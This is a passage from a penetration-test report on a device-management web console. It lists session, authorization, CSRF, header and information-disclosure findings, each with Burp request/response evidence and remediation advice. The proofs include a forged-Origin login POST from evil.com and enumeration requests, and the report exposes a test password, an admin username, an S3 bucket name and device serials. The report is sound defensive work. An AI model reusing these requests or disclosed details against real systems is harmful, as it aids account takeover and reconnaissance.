Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:03:17 GMT
Content-Type: text/html; charset=utf-8

<title>Devices - MDM</title>
... <div class="navbar-user-name">viewer</div> <- STILL AUTHENTICATED after logout

```

BUSINESS / TECHNICAL IMPACT

Cookie theft (MitM via missing HSTS + missing Secure, malicious extension, sibling-origin XSS, copy-pasted curl debug) is permanent for up to 24 h - the user cannot self-rescue by logging out, and an administrator cannot revoke a single user's sessions after a credential leak except by rotating the cookie-store HMAC key, which signs out every user at once.

REMEDIATION

- Move to server-side session storage (Redis / Postgres): cookie becomes an opaque session ID; logout deletes the row; revoke-all is a single DELETE.
- If staying with signed cookies, store a session_version integer per user in the payload and compare on each request - incrementing it on logout / password change / admin revoke invalidates every outstanding cookie for that user.
- Add an idle timeout (e.g. 30 min) in addition to the absolute 24-h cap; add an active-sessions page in /settings.

GB-05

● MEDIUM

Cross-Role Command Visibility Leaks APK URL (Internal S3 Bucket)

SEVERITY

● MEDIUM

CVSS v3.1**4.3 / 10.0**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE**CWE-200 Exposure of Sensitive Information****OWASP****API1:2023 / API3:2023**

Where: GET /commands/{uuid} (readable by viewer regardless of issuer)

DESCRIPTION

A viewer can read command records it did not create, across the whole fleet. Install-APK records disclose the internal OTA S3 bucket name and object key, plus which APK was installed on which device and when.

PROOF OF CONCEPT - Burp Suite evidence

The viewer reads an Install-APK command it did not create; the response discloses the internal OTA S3 bucket name and object key:

```
Burp Suite Request:
GET /commands/05e0f732-ba82-45f2-aa4f-8697780a8b49 HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODAxNXxZWdhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:05:35 GMT
Content-Type: text/html; charset=utf-8

<h2 class="page-title">Command 05e0f732</h2>
Type: Install APK      Target: devices      Sent: 2026-06-03 10:05:35 UTC
APK URL: https://ota-update-packages.s3.us-west-2.amazonaws.com/speed-test.apk
Delivery Status: AT070AABU00089 -> installed 2026-06-03 10:08:43 UTC
```

^ internal bucket `ota-update-packages` (us-west-2) now known to any viewer.

BUSINESS / TECHNICAL IMPACT

The S3 bucket name ota-update-packages is disclosed to any viewer. If its policy is misconfigured (anonymous list, predictable object names, public-read on stale objects) the attacker has the prefix to probe. The {product}-{purpose} naming is guessable and the bucket may also store firmware OTAs, certs, or backups. Operational leak: who installed which APK on which device, when.

REMEDIATION

- Verify s3://ota-update-packages denies public list/read and has Block Public Access enabled (see also F-12 in the prior MDM assessment).

- Redact APK URLs and other internal URLs in the viewer's command-detail view; show only the package name + version. Reserve raw URLs for operator+ roles.
- Enforce object-level authorization on command reads; scope command history to the caller's role / ownership.

GB-06

MEDIUM

Authorization-Order Inversion - Device Lookup Precedes Role Check

SEVERITY

MEDIUM

CVSS v3.1

4.3 / 10.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-204 Observable Response Discrepancy

OWASP

A01:2021

Where: POST /devices/{serial}/commands (allowed types, e.g. screenshot)

DESCRIPTION

For allowed command types the device lookup happens before the role check, so a 404 leaks device existence; for denied types the role check happens first and reveals nothing. The differential lets a viewer probe arbitrary serials without listing the device table.

PROOF OF CONCEPT - Burp Suite evidence

Allowed type against a non-existent serial → 404 (device lookup ran before the role check, leaking device existence):

```

Burp Suite Request:
POST /devices/NONEEXISTENT_FAKE/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODAzNXxEWdhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

```

type=screenshot

```

Burp Suite Response:
HTTP/2 404 Not Found
Date: Thu, 04 Jun 2026 13:06:01 GMT
Content-Type: text/plain; charset=utf-8

```

Device not found <- existence leak (lookup happened first)

Denied type against the same non-existent serial → 403 (role check ran first, reveals nothing):

```

Burp Suite Request:
POST /devices/NONEXISTENT_FAKE/commands HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTc4MDU3ODAxNDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

type=reboot

Burp Suite Response:
HTTP/2 403 Forbidden
Date: Thu, 04 Jun 2026 13:06:03 GMT
Content-Type: text/plain; charset=utf-8

Forbidden          <- role check happened first (no existence leak)

```

BUSINESS / TECHNICAL IMPACT

A viewer can enumerate which device serials exist (serial IDs follow a discoverable pattern, e.g. AT070AABU00###) without access to the device table, and - combined with GB-01 - then issue commands to any discovered device.

REMEDIATION

Reorder every handler to: authn -> role-check -> input-validation -> resource-lookup -> action. Return identical responses for "device does not exist" and "you are not allowed to act on this device".

GB-07

● MEDIUM

Third-Party CDN Scripts Loaded Without Subresource Integrity

SEVERITY	CVSS v3.1	CWE	OWASP
● MEDIUM	6.1 / 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N	CWE-829 / CWE-353	A08:2021 / A05:2021

Where: Authenticated HTML pages (e.g. /devices/{id}, /export)

DESCRIPTION

Authenticated pages load htmx and Chart.js from public CDNs with no integrity (SRI) attribute and no CSP to constrain script origins.

PROOF OF CONCEPT - Burp Suite evidence

Excerpt from the response body of an authenticated page (e.g. GET /devices/AT070AABU00442) - both third-party scripts are loaded with no integrity attribute:

```
Burp Suite Request:
GET /devices/AT070AABU00442 HTTP/2
Host: udm.dev.aioapp.com
Cookie: mdm-session=MTC4MDU30DA3NXxEWDhFQVFMX2dBQUJFQUVRQUFEX2p2LUFBQU...[truncated]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 13:02:30 GMT
Content-Type: text/html; charset=utf-8

...
<script src="https://unpkg.com/htmx.org@2.0.4" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js"></script>
...
^ no integrity="sha384-..." on either; no CSP (F-04) to restrict script-src
```

BUSINESS / TECHNICAL IMPACT

A compromise of either CDN (or of the npm packages they serve, or a typo-squat / hijacked version specifier) executes attacker JavaScript inside udm.dev.aioapp.com. HttpOnly stops cookie reads, but the script can still issue same-origin fetch() calls - including every state-changing endpoint from GB-01 - and exfiltrate device serials, command history, and screenshot URLs. No CSP exists to constrain it.

REMEDIATION

Self-host htmx and chart.js under /static/vendor/ (≈45 KB and ≈220 KB minified). If staying on a CDN, add integrity="sha384-..." + crossorigin="anonymous", and pair with the CSP from F-04 (script-src 'self').

GB-08

• LOW

Session Management: Concurrent Sessions Allowed, 24-h Lifetime, No Idle Timeout

SEVERITY

• LOW

CVSS v3.1

3.1 / 10.0

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-613 Insufficient Session Expiration

OWASP

A07:2021

Where: Login / session subsystem; Set-Cookie on /login

DESCRIPTION

Multiple parallel sessions per user are allowed indefinitely - there is no /settings/sessions view, no last-login banner, and no remote-revoke - and the session cookie remains usable for its full 24-hour absolute lifetime regardless of activity, with no idle timeout. Combined with GB-04 (no server-side revocation) this 24-hour window is the practical lifetime of any stolen cookie. For a portal that can wipe devices, a tighter window and session visibility are justified.

PROOF OF CONCEPT - Burp Suite evidence

Two logins for the same account issue two distinct, simultaneously-valid session cookies:

```
# Session A and Session B obtained from two separate POST /login responses:
GET / (Cookie: mdm-session=<TOKEN_A>) -> HTTP/2 200 OK <title>Devices - MDM</title>
GET / (Cookie: mdm-session=<TOKEN_B>) -> HTTP/2 200 OK <title>Devices - MDM</title>
^ both sessions valid at once; no concurrent-session limit, no session-mgmt UI, no revoke.
```

The Set-Cookie issued on successful login pins a 24-hour absolute lifetime with no idle-timeout:

```
Burp Suite Request:
POST /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

username=viewer&password=12345678

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 10:34:18 GMT
Location: /
Set-Cookie: mdm-session=MTc4MDU3...; Path=/; Expires=Fri, 05 Jun 2026 10:34:18 GMT;
Max-Age=86400; HttpOnly

^ Max-Age=86400 (24 h) absolute; no idle timeout; no server-side revocation (GB-04).
```

BUSINESS / TECHNICAL IMPACT

No visibility or control over concurrent sessions and a 24-hour absolute token lifetime maximize the usable window for a captured/leaked cookie, with no way to detect or revoke a parallel attacker session after a credential leak.

REMEDIATION

With a server-side session store (GB-04) this is automatic: render current sessions in /settings and allow revoke. Reduce the absolute lifetime to 8 hours, add a 30-minute idle timeout, and slide the cookie expiry on each authenticated request so an active user is not signed out mid-session.

8.2 Black-box Findings (unauthenticated)

F-01

● HIGH

Login Endpoint Has No Rate-Limit, No Lockout, No CSRF Protection

SEVERITY

● HIGH

CVSS v3.1**7.3 / 10.0**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CWE**CWE-307 / CWE-352****OWASP****A07:2021 / WSTG-ATHN**

Where: POST https://udm.dev.aioapp.com/login

DESCRIPTION

The login endpoint applies no per-account or per-IP rate limiting, no lockout, no CAPTCHA, and no CSRF token, and it accepts cross-origin POSTs. A ~1 s response latency implies bcrypt-class hashing (good), but a single host can still try thousands of passwords per hour, and a distributed botnet far more.

PROOF OF CONCEPT - Burp Suite evidence

A cross-origin login POST (forged Origin) is accepted with the same response as same-origin - no Origin/Referer validation and no CSRF token on the form:

```
Burp Suite Request:
POST /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://evil.com
Referer: https://evil.com/
Content-Type: application/x-www-form-urlencoded

username=test&password=test
```

```
Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:50:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1956

... <p class="error">Invalid credentials</p> ...
^ processed identically to a same-origin request; no CSRF / Origin defence.
```

Ten consecutive wrong-credential POSTs from a single client - no 429, no lockout, no captcha; the ~1 s latency is the only (incidental) throttle:

```
Attempt 1: 200 time=1.039s    Attempt 6: 200 time=0.938s
Attempt 2: 200 time=0.935s    Attempt 7: 200 time=0.951s
Attempt 3: 200 time=0.989s    Attempt 8: 200 time=0.966s
Attempt 4: 200 time=1.027s    Attempt 9: 200 time=0.957s
Attempt 5: 200 time=0.956s    Attempt 10: 200 time=0.942s
(no HTTP 429, no lockout signal, no captcha challenge; login form carries no CSRF token)
```

BUSINESS / TECHNICAL IMPACT

Credential stuffing / targeted brute force - combined with F-05 (a leaked admin username, muhammadali) the attacker has a known target and unlimited tries. Login-CSRF - because the form has no token and accepts cross-origin POSTs, an attacker page can silently log a victim's browser into an attacker-controlled account, enabling phishing-style follow-on.

REMEDIATION

- Per-account and per-IP rate limiting (e.g. token bucket: 5 attempts / 5 min, then progressive cool-down); lock the account on N consecutive failures with out-of-band reset; CAPTCHA / proof-of-work after the second failure.
- Add a CSRF token to the login form (synchronizer pattern) and at minimum validate Origin / Sec-Fetch-Site - reject login POSTs whose Origin is not https://udm.dev.aioapp.com.
- Enforce MFA for any account with administrative privileges over the device fleet - credential-only auth is insufficient for a platform that can run shells and install APKs.

F-02

MEDIUM

Session Cookie Missing Secure & SameSite Attributes

SEVERITY	CVSS v3.1	CWE	OWASP
MEDIUM	5.4 / 10.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N	CWE-614 / CWE-1275	A05:2021 / WSTG-SESS-02

Where: Set-Cookie: mdm-session

DESCRIPTION

The mdm-session cookie sets Path, HttpOnly, and Expires/Max-Age, but omits Secure and SameSite. The cookie payload is HMAC-signed and tamper-resistant (forged/replayed/zero-HMAC cookies are correctly rejected with 403), so integrity is fine - the gap is transport and cross-site exposure.

PROOF OF CONCEPT - Burp Suite evidence

The Set-Cookie header (here from /logout; identical attributes on login) shows Path, HttpOnly and Max-Age present but **Secure and SameSite absent**:

```

Burp Suite Request:
POST /logout HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Origin: https://udm.dev.aioapp.com
Referer: https://udm.dev.aioapp.com/
Content-Type: application/x-www-form-urlencoded

```

```

Burp Suite Response:
HTTP/2 302 Found
Date: Thu, 04 Jun 2026 06:51:23 GMT
Location: /login
Set-Cookie: mdm-session=MTC4MDU1Njk4M3xEWDhFQVFM...RvWS8x3R0ieiT2zuENgcnjQ=;
    Path=/; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; HttpOnly

Present: Path=/    HttpOnly    Expires / Max-Age
Missing: Secure    SameSite

```

BUSINESS / TECHNICAL IMPACT

No Secure: if a user is coerced into an HTTP request to the same host (e.g. via a sibling-origin issue, or a downgrade on a hostile network - plausible because HSTS is also missing, F-03) the cookie is sent in cleartext. No SameSite: cross-site behaviour is left to browser defaults, which relates directly to the CSRF exposure in GB-03 / F-08.

REMEDIATION

Set Secure, HttpOnly, and SameSite=Strict (or Lax) on the session cookie; consider the __Host- prefix (__Host-mdm-session) to lock it to this exact host and path. Pair with HSTS (F-03).

F-03

● MEDIUM

Missing HTTP Strict-Transport-Security (HSTS)

SEVERITY	CVSS v3.1	CWE	OWASP
● MEDIUM	5.3 / 10.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N	CWE-319 Cleartext Transmission	A05:2021 / WSTG-CONF

Where: All responses from udm.dev.aioapp.com

DESCRIPTION

The host emits no Strict-Transport-Security header anywhere. The load balancer does redirect HTTP -> HTTPS, but the first request from a user who types the bare hostname still goes over HTTP, and without HSTS the browser has no memory that the origin must always be HTTPS.

PROOF OF CONCEPT - Burp Suite evidence

No Strict-Transport-Security header on the HTTPS response:

```

Burp Suite Request:
GET /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:48:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1890

(no strict-transport-security header present anywhere on the host)

```

The plaintext HTTP listener does redirect to HTTPS, but the first hop is cleartext and - without HSTS - the browser keeps no HTTPS-only memory:

```

Burp Suite Request:
GET / HTTP/1.1
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/1.1 301 Moved Permanently
Server: awselb/2.0
Location: https://udm.dev.aioapp.com:443/      <- first hop over cleartext HTTP

```

BUSINESS / TECHNICAL IMPACT

An on-path attacker (open Wi-Fi, hostile AP, BGP hijack) can drop the redirect and serve an sslstrip-style HTTP proxy. Without HSTS the downgrade can be sustained and the password / session cookie (which also lacks Secure, F-02) harvested.

REMEDIATION

```
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
```

Once stable, submit the parent domain to the HSTS preload list so first-visit clients are protected.

F-04

● MEDIUM

Missing CSP, X-Frame-Options, Referrer-Policy, Permissions-Policy

SEVERITY

● MEDIUM

CVSS v3.1**5.4 / 10.0**

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE**CWE-1021 / CWE-693****OWASP****A05:2021 / WSTG-CNF**

Where: All HTML responses (/, /login, error pages)

DESCRIPTION

HTML responses carry no Content-Security-Policy, X-Frame-Options, Referrer-Policy, Permissions-Policy, or COOP/CORP, and X-Content-Type-Options appears only on text/plain error responses.

PROOF OF CONCEPT - Burp Suite evidence

Full response-header set on an HTML page - every standard security header is absent:

```
Burp Suite Request:
GET /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/
```

```
Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:48:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1890
```

```
(no content-security-policy)
(no x-frame-options)
(no referrer-policy)
(no permissions-policy)
(no cross-origin-opener-policy / cross-origin-resource-policy)
(no x-content-type-options on HTML responses - present only on text/plain errors)
```

BUSINESS / TECHNICAL IMPACT

Clickjacking - /login can be framed and overlaid on an attacker site. No XSS defense-in-depth - any future reflected/stored XSS becomes immediately exploitable. Referrer leakage - full authenticated URLs (device serials, command UUIDs) leak to third parties (unpkg.com, Google Fonts). No restriction on browser features (geolocation, camera, microphone).

REMEDIATION

```
Content-Security-Policy: default-src 'self'; script-src 'self';
  style-src 'self' https://fonts.googleapis.com; font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data:; connect-src 'self' wss://udm.dev.aioapp.com;
  frame-ancestors 'none'; base-uri 'none'; form-action 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=(), usb=(), payment=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-origin
```

Apply globally at the reverse proxy / ELB target so individual handlers do not have to opt in.

F-05

MEDIUM

Information Disclosure via /static/preview.html

SEVERITY	CVSS v3.1	CWE	OWASP
MEDIUM	5.3 / 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N	CWE-200 Exposure of Sensitive Information	A05:2021 / WSTG-CONF

Where: GET /static/preview.html (38,876 bytes, served without authentication)

DESCRIPTION

The static directory serves a self-contained, design-realistic mock-up of the authenticated console with near-real identifiers. Selected strings extracted directly from the unauthenticated response:

PROOF OF CONCEPT - Burp Suite evidence

The mock-up is served unauthenticated with HTTP 200:

```
Burp Suite Request:
GET /static/preview.html HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:49:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 38876

<!DOCTYPE html><html><head><title>TSAI Fleet - Console Preview</title> ...
```

Selected near-real identifiers extracted directly from the public response body:

```

Title: "TSAI Fleet - Console Preview"
Admin: muhammadali
Region: ap-south-1
Groups: kiosks-mum, drivers-blr, warehouse-hyd, retail-del
Devices: FLEET-AX91-0184, FLEET-AX91-0185, FLEET-BR22-0042, FLEET-CY11-0301, ...
Serials: A91-MX-77324, B22-DEL-22148, C11-BLR-11907, D04-HYD-04880, ...
Versions: v2.14.3 -> v2.15.0 (OTA queued, 41 devices)
Commands: install_apk, reboot, screenshot, Live shell, Logcat, Pull logs
WS: "WS uplink" -> confirms /api/v1/ws WebSocket uplink
Sections: Devices, Groups, Commands, Packages, Updates, Users, Settings, System

```

BUSINESS / TECHNICAL IMPACT

A probable real admin handle (muhammadali) is exposed - half of an admin credential pair, which combined with F-01 (no rate-limit) sharply lowers the cost of password-spray. Device-naming and serial conventions are disclosed (useful if a device API key ever leaks). Capability advertisement confirms the product supports remote shell, screenshot, log pull, APK install, and reboot - telling an attacker the blast radius. Geographic deployment (ap-south-1; MX/DEL/BLR/HYD) aids social engineering.

REMEDIATION

- Delete /static/preview.html from the public static directory; design previews belong in an internal Storybook / Figma / private bucket.
- If the preview must remain, gate it behind the same auth middleware as the console and remove near-real identifiers (real usernames, real serials).
- Audit the rest of /static/ and any file-server prefix for similar dev-only artifacts.

F-06

LOW

Static Directory Listing Enabled

SEVERITY

LOW

CVSS v3.1

3.7 / 10.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-548 Information Exposure Through Directory Listing

OWASP

A05:2021

Where: GET /static/

DESCRIPTION

The default Go http.FileServer directory index is enabled at /static/ - almost certainly unintentional. This index is what surfaced the preview.html finding (F-05).

PROOF OF CONCEPT - Burp Suite evidence

```
Burp Suite Request:
GET /static/ HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:49:30 GMT
Content-Type: text/html; charset=utf-8

<!doctype html><meta name="viewport" content="width=device-width">
<pre>
<a href="favicon.svg">favicon.svg</a>
<a href="preview.html">preview.html</a>
<a href="style.css">style.css</a>
</pre>
  ^ default Go http.FileServer directory index (unintentional).
```

BUSINESS / TECHNICAL IMPACT

Directory listing reveals otherwise non-obvious static artifacts (here, the preview mock-up) and aids reconnaissance.

REMEDIATION

```
fs := http.FileServer(http.Dir("static"))
mux.Handle("/static/", http.StripPrefix("/static/", noDirListing(fs)))

func noDirListing(h http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if strings.HasSuffix(r.URL.Path, "/") { http.NotFound(w, r); return }
        h.ServeHTTP(w, r)
    })
}
```

F-07

• LOW

Unauthenticated 403 on Internal Paths Discloses Endpoint Existence

SEVERITY

• LOW

CVSS v3.1

3.7 / 10.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-204 Observable
Response Discrepancy

OWASP

A05:2021

Where: /users, /settings, /api/v1/* (vs 404 for non-existent paths)

DESCRIPTION

Existing-but-protected paths return 403/401 while non-existent paths return 404, letting an unauthenticated attacker map the application surface. Two distinct API error strings also reveal that the API has two key classes.

PROOF OF CONCEPT - Burp Suite evidence

Existing-but-protected path returns 403, while a random path returns 404 - the differential maps the surface; the API additionally discloses two distinct key classes:

```
Burp Suite Request:
GET /users HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 403 Forbidden
Content-Type: text/plain; charset=utf-8
Forbidden                                     <- /users EXISTS (protected)

GET /random-nonsense-9f8e -> HTTP/2 404 404 page not found <- does not exist
GET /settings -> HTTP/2 403 Forbidden <- exists (protected)
GET /api/v1/devices -> HTTP/2 401 {"error":"invalid admin api key"}
GET /api/v1/ws -> HTTP/2 401 {"error":"invalid device api key"}
                        ^ discloses a separate "device key" class
```

BUSINESS / TECHNICAL IMPACT

The 403/401-vs-404 differential maps the surface without any login; the two error strings reveal the admin/device key split, narrowing what an attacker must look for in a future key leak.

REMEDIATION

For HTML routes (/users, /settings) redirect (302) to /login like / does. For the JSON API return a uniform 401 {"error":"unauthorized"} regardless of whether the resource exists or which key class applied; differentiate internally for logging only.

F-08

• LOW

/health Exposes Database Status Without Authentication

SEVERITY

• LOW

CVSS v3.1

3.1 / 10.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-200 Exposure of Sensitive Information

OWASP

A05:2021

Where: GET /health

DESCRIPTION

The health endpoint confirms the service is live but also tells any unauthenticated visitor that a relational database backend exists and lets real-time degradation be polled externally.

PROOF OF CONCEPT - Burp Suite evidence

```

Burp Suite Request:
GET /health HTTP/2
Host: udm.dev.aioapp.com
